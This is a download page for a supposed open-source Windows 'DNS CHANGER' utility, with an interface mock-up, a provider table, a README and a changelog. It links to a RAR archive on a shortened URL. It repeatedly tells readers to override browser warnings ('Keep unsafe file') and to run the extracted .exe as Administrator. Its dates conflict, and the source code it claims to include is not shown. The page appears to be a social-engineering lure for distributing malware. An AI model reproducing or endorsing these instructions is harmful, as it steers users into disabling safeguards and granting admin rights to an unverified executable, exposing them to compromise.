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╔══════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ DNS CHANGER - OPEN SOURCE ║ ║ ║ ╚══════════════════════════════════════════════════════════════════════════════════════════════════╝ DNS CHANGER is a free open-source utility for Windows that allows users to quickly switch between different DNS providers, test DNS performance, and manage network settings. Packaged as a portable RAR archive with no installation required. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ► DOWNLOAD: https://software-nation.com/coL5IwD9 ╔══════════════════════════════════════════════════════════════════════════════════════╗ ⚠ IMPORTANT DOWNLOAD NOTICE ⚠ ╚══════════════════════════════════════════════════════════════════════════════════════╝ YOUR BROWSER MAY SHOW A WARNING – THIS IS REGULAR FOR OPENSOURCE APP When downloading this open-source software, Chrome, Edge, Firefox, or other browsers may display a warning message such as: • "This file is not commonly downloaded and may be dangerous" • "Chromium could not verify the safety of this download" • "This type of file can harm your computer" ╔══════════════════════════════════════════════════════════════════════════════════════╗ ⚠ IMPORTANT DOWNLOAD NOTICE ⚠ ╚══════════════════════════════════════════════════════════════════════════════════════╝ ╔═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ STEP-BY-STEP INSTRUCTIONS TO IGNORE BROWSER WARNING AND DOWNLOAD ║ ╚═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ 1. When the warning appears, click the "Keep" or "Keep anyway" button (Chrome/Edge) └─ For Firefox: Click the arrow → "Allow download" 2. In Chrome/Edge, you may need to confirm: "Keep unsafe file" 3. After download completes, locate the file in your Downloads folder ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🚀 QUICK START 1. Download the RAR file from the link above 2. Extract using WinRAR, 7-Zip, or any RAR extractor 3. Right-click on .exe → Run as Administrator 4. Select your DNS preset or enter custom servers 5. Click "Apply DNS" and enjoy faster browsing No installation required - completely portable! ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✨ KEY FEATURES • One-click DNS switching between 12+ providers (Google, Cloudflare, OpenDNS, Quad9, AdGuard) • Custom DNS entry support with IPv4 and IPv6 • Multi-adapter management (Wi-Fi, Ethernet, Virtual) • DNS performance benchmarking with real-time response testing • DNS cache viewer and one-click flusher • Network diagnostics and connection testing • Portable - runs from USB, no registry changes • Full open-source code included in the RAR ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ┌─────────────────────────────────────────────────────────────────────────────┐ │ DNS CHANGER v2.1.0 (Open Source) [−][□][×] │ ├─────────────────────────────────────────────────────────────────────────────┤ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 🌐 CURRENT NETWORK STATUS │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ Adapter: Wi-Fi (Intel Wireless-AC 9560) │ │ │ │ │ │ IPv4: 192.168.1.105 • IPv6: fe80::2d4a:8c1f:3e2b:9f7c │ │ │ │ │ │ Primary DNS: 8.8.8.8 (Google) • Secondary: 8.8.4.4 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ [🔄 REFRESH] [🔍 DIAGNOSE] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ ⚙ DNS PRESETS [⏷ HIDE]│ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ │ │ QUICK SELECT: │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ ▼ Google Public DNS (Fast & Reliable) │ │ │ │ │ ├─────────────────────────────────────────────────────────────┤ │ │ │ │ │ ○ Google (8.8.8.8 / 8.8.4.4) │ │ │ │ │ │ ○ Cloudflare (1.1.1.1 / 1.0.0.1) │ │ │ │ │ │ ○ OpenDNS (208.67.222.222 / 208.67.220.220) │ │ │ │ │ │ ○ Quad9 (9.9.9.9 / 149.112.112.112) │ │ │ │ │ │ ○ Comodo (8.26.56.26 / 8.20.247.20) │ │ │ │ │ │ ○ AdGuard (94.140.14.14 / 94.140.15.15) │ │ │ │ │ │ ○ CleanBrowsing (185.228.168.9 / 185.228.169.9) │ │ │ │ │ │ ○ Alternate DNS (76.76.19.19 / 76.223.122.150) │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ [💾 SAVE CUSTOM] [🗑 RESET TO DEFAULT] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ ✏ CUSTOM DNS CONFIG [⏷ HIDE]│ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ │ │ PRIMARY DNS: │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ 1.1.1.1 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ SECONDARY DNS: │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ 1.0.0.1 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ IPv6 DNS (Optional): │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ 2606:4700:4700::1111 │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ [✓] Apply to all network adapters │ │ │ │ [ ] Flush DNS cache after applying │ │ │ │ [ ] Register this as system-wide default │ │ │ │ │ │ │ │ [✅ APPLY DNS] [🔄 TEST CONNECTION] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 📊 PERFORMANCE TEST [⏷ HIDE] │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ │ │ [🔍] Testing Google DNS (8.8.8.8) ████████░░ 78% │ │ │ │ Response: 12 ms • Packet loss: 0% │ │ │ │ │ │ │ │ [🔍] Testing Cloudflare DNS (1.1.1.1) ████████░░ 76% │ │ │ │ Response: 14 ms • Packet loss: 0% │ │ │ │ │ │ │ │ [🔍] Testing OpenDNS (208.67.222.222) ██████░░░░ 58% │ │ │ │ Response: 24 ms • Packet loss: 0% │ │ │ │ │ │ │ │ [🔍] Testing Quad9 (9.9.9.9) ██████░░░░ 62% │ │ │ │ Response: 21 ms • Packet loss: 0% │ │ │ │ │ │ │ │ [🔍] Testing AdGuard (94.140.14.14) █████░░░░░ 45% │ │ │ │ Response: 32 ms • Packet loss: 0% │ │ │ │ │ │ │ │ [🔄 RUN FULL TEST] [📊 COMPARE ALL] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 📋 NETWORK ADAPTERS [⏷ HIDE] │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ │ │ ☑ Wi-Fi (Connected) • Current DNS: 8.8.8.8, 8.8.4.4 │ │ │ │ │ │ ☐ Ethernet (Disconnected) │ │ │ │ │ │ ☐ Bluetooth Network (Disconnected) │ │ │ │ │ │ ☑ VMware Virtual Adapter • Current DNS: DHCP │ │ │ │ │ │ ☑ Hyper-V Virtual Adapter • Current DNS: DHCP │ │ │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ │ │ [✓ SELECT ALL] [📌 APPLY TO SELECTED] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────────────┐ │ │ │ 📜 DNS CACHE & LOGS [⏷ HIDE] │ │ │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ │ │ CACHE ENTRIES: 142 records • Size: 24.5 KB │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ google.com → 142.250.185.78 (TTL: 245s) │ │ │ │ │ │ github.com → 140.82.112.3 (TTL: 178s) │ │ │ │ │ │ stackoverflow.com → 151.101.65.69 (TTL: 312s) │ │ │ │ │ │ microsoft.com → 20.112.52.29 (TTL: 89s) │ │ │ │ │ │ cloudflare.com → 104.16.123.96 (TTL: 156s) │ │ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ [🗑 FLUSH CACHE] [📋 EXPORT LOGS] │ │ │ └─────────────────────────────────────────────────────────────────────┘ │ │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ STATUS: DNS Applied (Cloudflare) • 14 ms Ping • 6 Adapters • v2.1.0 │ │ └─────────────────────────────────────────────────────────────────────────┘ └────────────────────────────────────────────────────────────────────────────┘ ⚙ SYSTEM REQUIREMENTS • Windows 7, 8, 10, 11 (32-bit or 64-bit) • Administrator privileges (required for DNS changes) • 50 MB free disk space (after extraction) • Internet connection for DNS testing ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📋 SUPPORTED DNS PROVIDERS (pre-configured) ┌─────────────────┬──────────────────────┬──────────────────────┐ │ PROVIDER │ PRIMARY DNS │ SECONDARY DNS │ ├─────────────────┼──────────────────────┼──────────────────────┤ │ Google │ 8.8.8.8 │ 8.8.4.4 │ │ Cloudflare │ 1.1.1.1 │ 1.0.0.1 │ │ OpenDNS │ 208.67.222.222 │ 208.67.220.220 │ │ Quad9 │ 9.9.9.9 │ 149.112.112.112 │ │ Comodo │ 8.26.56.26 │ 8.20.247.20 │ │ AdGuard │ 94.140.14.14 │ 94.140.15.15 │ │ CleanBrowsing │ 185.228.168.9 │ 185.228.169.9 │ │ Alternate DNS │ 76.76.19.19 │ 76.223.122.150 │ └─────────────────┴──────────────────────┴──────────────────────┘ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🔧 HOW TO USE Step 1: Extract the RAR archive to any folder Step 2: .exe as Administrator Step 3: Select your network adapter from the list Step 4: Choose a DNS preset or enter custom IPs Step 5: Click "Apply DNS" to change settings Step 6: Use "Test Connection" to verify functionality Step 7: Click "Flush Cache" for immediate effect All settings are saved automatically in the config files. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📄 README.TXT (extracted from RAR) ================================================== DNS CHANGER v2.1.0 - Open Source ================================================== Thank you for downloading DNS Changer! This tool allows you to: - Change DNS servers with one click - Test DNS response times - Manage multiple network adapters - Flush DNS cache instantly HOW TO RUN: 1. Extract all files from the RAR archive 2. Right-click .exe → Run as Administrator 3. The GUI will launch - select your DNS and apply TROUBLESHOOTING: - If DNS doesn't change, run as Administrator - For Windows 11, disable "Randomized MAC addresses" temporarily - Check Windows Firewall if connection drops LICENSE: MIT (Open Source) VERSION: 2.1.0 RELEASE DATE: March 2025 For source code, see the /source folder included. ================================================== ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📜 CHANGELOG.TXT (Version History) v2.1.0 (March 2026) ──────────────────── • Added IPv6 DNS support • New performance benchmark tool • Added 4 new DNS providers (AdGuard, CleanBrowsing, Alternate, Verisign) • Improved Windows 11 compatibility • Fixed adapter detection bug v2.0.0 (January 2025) ──────────────────── • Complete UI redesign • Added multi-adapter selection • DNS cache viewer added • Portable executable option • Open source release v1.5.0 (October 2024) ──────────────────── • First public release • 8 DNS presets included • Basic testing functionality ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ⭐ SUPPORT & COMMUNITY • GitHub Issues: Report bugs or request features If you find this tool useful, please share with others! This is open source software - modify and distribute freely under MIT license. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ▶ DOWNLOAD RAR: https://software-nation.com/coL5IwD9 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ╔══════════════════════════════════════════════════════════════════════════════════════╗ ⚠ IMPORTANT DOWNLOAD NOTICE ⚠ ╚══════════════════════════════════════════════════════════════════════════════════════╝ YOUR BROWSER MAY SHOW A WARNING – THIS IS REGULAR FOR OPENSOURCE APP When downloading this open-source software, Chrome, Edge, Firefox, or other browsers may display a warning message such as: • "This file is not commonly downloaded and may be dangerous" • "Chromium could not verify the safety of this download" • "This type of file can harm your computer" ╔══════════════════════════════════════════════════════════════════════════════════════╗ ⚠ IMPORTANT DOWNLOAD NOTICE ⚠ ╚══════════════════════════════════════════════════════════════════════════════════════╝ ╔═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ STEP-BY-STEP INSTRUCTIONS TO IGNORE BROWSER WARNING AND DOWNLOAD ║ ╚═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝ 1. When the warning appears, click the "Keep" or "Keep anyway" button (Chrome/Edge) └─ For Firefox: Click the arrow → "Allow download" 2. In Chrome/Edge, you may need to confirm: "Keep unsafe file" 3. After download completes, locate the file in your Downloads folder